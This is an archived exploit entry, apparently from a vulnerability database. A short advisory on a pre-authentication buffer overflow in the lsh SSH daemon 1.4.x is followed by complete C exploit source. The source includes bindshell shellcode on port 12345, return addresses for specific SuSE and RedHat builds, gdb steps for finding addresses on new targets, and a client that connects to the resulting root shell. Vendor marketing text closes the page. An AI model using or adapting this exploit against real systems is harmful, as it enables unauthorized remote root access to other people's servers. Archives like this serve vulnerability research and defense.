// source: https://www.securityfocus.com/bid/8655/info
lsh has been reported prone to a remote buffer overflow vulnerability. The condition is reported to present itself in fairly restrictive circumstances, and has been reported to be exploitable pre-authentication. Successful exploitation could result in the execution of arbitrary attacker supplied instructions in the context of the affected daemon.
/*
--------------------------------------
Remote r00t exploit for lsh 1.4.x
by Haggis aka Carl Livitt - carl.learningshophull@co@uk
19/09/2003
Latest version should always be available from
http://doris.scriptkiddie.net
------------------------------------
Spawns bindshell on port 12345 of remote host.
Handily, it also bypasses non-exec stack protection as the
shellcode is on the heap.
NOTE: This exploit _only_ works if it's the first thing to
connect to the lshd daemon after it has been started.
Any other time, it is just a DoS. Run it a few times against
a host running lshd to see what I mean.
--------------------------------------------
Determining RET address for a new platform:
------------------------------------------
Start up 'lshd --daemonic', attach gdb to it and 'c'ontinue:
sol:~ # rm /var/run/lshd.pid ; lshd --daemonic ; gdb -q lshd `pgrep lshd`
Attaching to program: /usr/local/sbin/lshd, process 7140
Reading symbols from /lib/libpam.so.0...done.
Loaded symbols for /lib/libpam.so.0
Reading symbols from /lib/libutil.so.1...done.
Loaded symbols for /lib/libutil.so.1
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libz.so.1...done.
Loaded symbols for /lib/libz.so.1
Reading symbols from /usr/local/lib/liboop.so.4...done.
Loaded symbols for /usr/local/lib/liboop.so.4
Reading symbols from /usr/lib/libgmp.so.3...done.
Loaded symbols for /usr/lib/libgmp.so.3
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
0x40157d37 in fork () from /lib/libc.so.6
(gdb) c
Continuing.
Switch to another terminal, and run the exploit against the lsh
server, specifying target number 3 (Test):
haggis@sol:~/exploits/research/lsh> ./lsh_exploit -t localhost -T 3
LSH 1.4.x (others?) exploit by Haggis ([email protected])
[-] Building exploit buffer...
[-] Sending exploit string...
[-] Sleeping...
[-] Connecting to bindshell...
[*] Could not connect to localhost - the exploit failed
Switch back to your other terminal. You will see:
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
Type 'x/1000x $eax':
(gdb) x/1000x $eax
And wait until you find lines similar to these:
0x809fa68: 0x90909090 0x90909090 0x90909090 0x90909090
0x809fa78: 0x90909090 0x90909090 0x90909090 0x90909090
0x809faa8: 0x90909090 0x90909090 0x90909090 0x90909090
0x809fa9c: 0x90909090 0x90909090 0x90909090 0x90909090
^^^^^^^^^
Any of the addresses that contains a NOP (0x90) can be used as your RET address.
Create a new target in the source-code and Bob's-yer-uncle!
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>
#define SSH_PORT 22
#define BINDSHELL_PORT 12345
#define SIZ 8092
#define EXPLOIT_BUF_SIZE 4000 // just approximate - works well enough
#define NOPS_LEN 1024
/*
* Linux shellcode - binds /bin/sh to a port
*
* Claes M. Nyberg 20020620
*
* <[email protected]>, <[email protected]>
*/
char shellcode[]=
"\x83\xec\x10\x89\xe7\x31\xc0\x50\x50\x50\x66\x68\x30\x39\xb0\x02\x66\x50"
"\x89\xe6\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\x43\x30\xe4\xb0\x66\xcd"
"\x80\x89\xc5\x6a\x10\x56\x55\x89\xe1\x43\x31\xc0\xb0\x66\xcd\x80\x50\x55"
"\x89\xe1\xb3\x04\xb0\x66\xcd\x80\xb0\x10\x50\x54\x57\x55\x89\xe1\xb3\x05"
"\xb0\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd"
"\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
struct
{
char *platform;
unsigned long retAddr;
} targets[]= {
{ "SuSE 8.1 - LSH v1.4.x (default)", 0x0809fb20},
{ "RedHat 7.3 - LSH v1.4.x", 0x0809de90},
{ "RedHat 8.0 - LSH v1.4.x", 0x0809a9d8},
{ "Test. RET address = 0x41424344", 0x41424344},
NULL
};
void my_send(int, char *, ...);
void my_recv(int);
int connect_to_host(int);
void my_sleep(int n);
int do_bind_shell();
struct hostent *hostStruct;
char buf[SIZ], host[SIZ]="\0";
int useTarget=0;
char usage[]=
"Usage: ./lsh_exploit -t host_name [-T platform_type]\n";
main(int argc, char **argv)
{
int ch, i, targetSock;
unsigned long *retPtr;
char *charRetPtr;
printf("LSH 1.4.x (others?) exploit by Haggis ([email protected])\n\n");
while((ch=getopt(argc, argv, "t:T:h"))!=-1) {
switch(ch) {
case 't':
strncpy(host, optarg, SIZ-1);
break;
case 'T':
useTarget=atoi(optarg);
break;
case 'h':
default:
printf("%s\n",usage);
printf("Available platforms:\n");
for(i=0;targets[i].platform;i++)
printf(" %2d. %s\n", i, targets[i].platform);
printf("\n");
exit(0);
break;
}
}
if(host[0]=='\0') {
printf("[*] You must specify a host! Use -h for help\n");
exit(1);
}
if((hostStruct=gethostbyname(host))==NULL) {
printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n", host,argv[0]);
exit(1);
}
if((targetSock=connect_to_host(SSH_PORT))==-1) {
printf("[*] Coulnd't connect to host %s\n", host);
exit(1);
}
my_recv(targetSock);
printf("[-] Building exploit buffer...\n");
retPtr=(unsigned long *)buf;
for(i=0;i<EXPLOIT_BUF_SIZE/4;i++)
*(retPtr++)=targets[useTarget].retAddr;
charRetPtr=(unsigned char *)retPtr;
for(i=0;i<NOPS_LEN-strlen(shellcode);i++)
*(charRetPtr++)=(unsigned long)0x90;
memcpy(charRetPtr, shellcode, strlen(shellcode));
*(charRetPtr+strlen(shellcode))='\n';
*(charRetPtr+strlen(shellcode)+1)='\0';
printf("[-] Sending exploit string...\n");
my_send(targetSock, buf);
close(targetSock);
printf("[-] Sleeping...\n");
my_sleep(100000);
printf("[-] Connecting to bindshell...\n");
if(do_bind_shell()==-1)
printf("[*] Could not connect to %s - the exploit failed\n", host);
exit(0);
}
int do_bind_shell()
{
fd_set rfds;
int sock,retVal,r;
if((sock=connect_to_host(BINDSHELL_PORT))==-1)
return -1;
printf("[-] Success!!! You should now be r00t on %s\n", host);
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
retVal=select(sock+1, &rfds, NULL, NULL, NULL);
if(retVal) {
if(FD_ISSET(sock, &rfds)) {
buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
send(sock, buf, strlen(buf), 0);
}
}
} while(retVal && r); // loop until connection terminates
close(sock);
return 1;
}
// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p)
{
int sock;
struct sockaddr_in saddr;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return -1;
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
saddr.sin_port=htons(p);
if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
close(sock);
return -1;
} else
return sock;
}
// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...)
{
va_list ap;
char *buf;
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
free(buf);
}
// Another handy function to read data from a socket.
void my_recv(int s)
{
int len;
char buf[SIZ];
len=recv(s, buf, SIZ-1, 0);
buf[len]=0;
}
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n)
{
struct timespec t;
t.tv_sec=0;
t.tv_nsec=n;
nanosleep(&t,&t);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation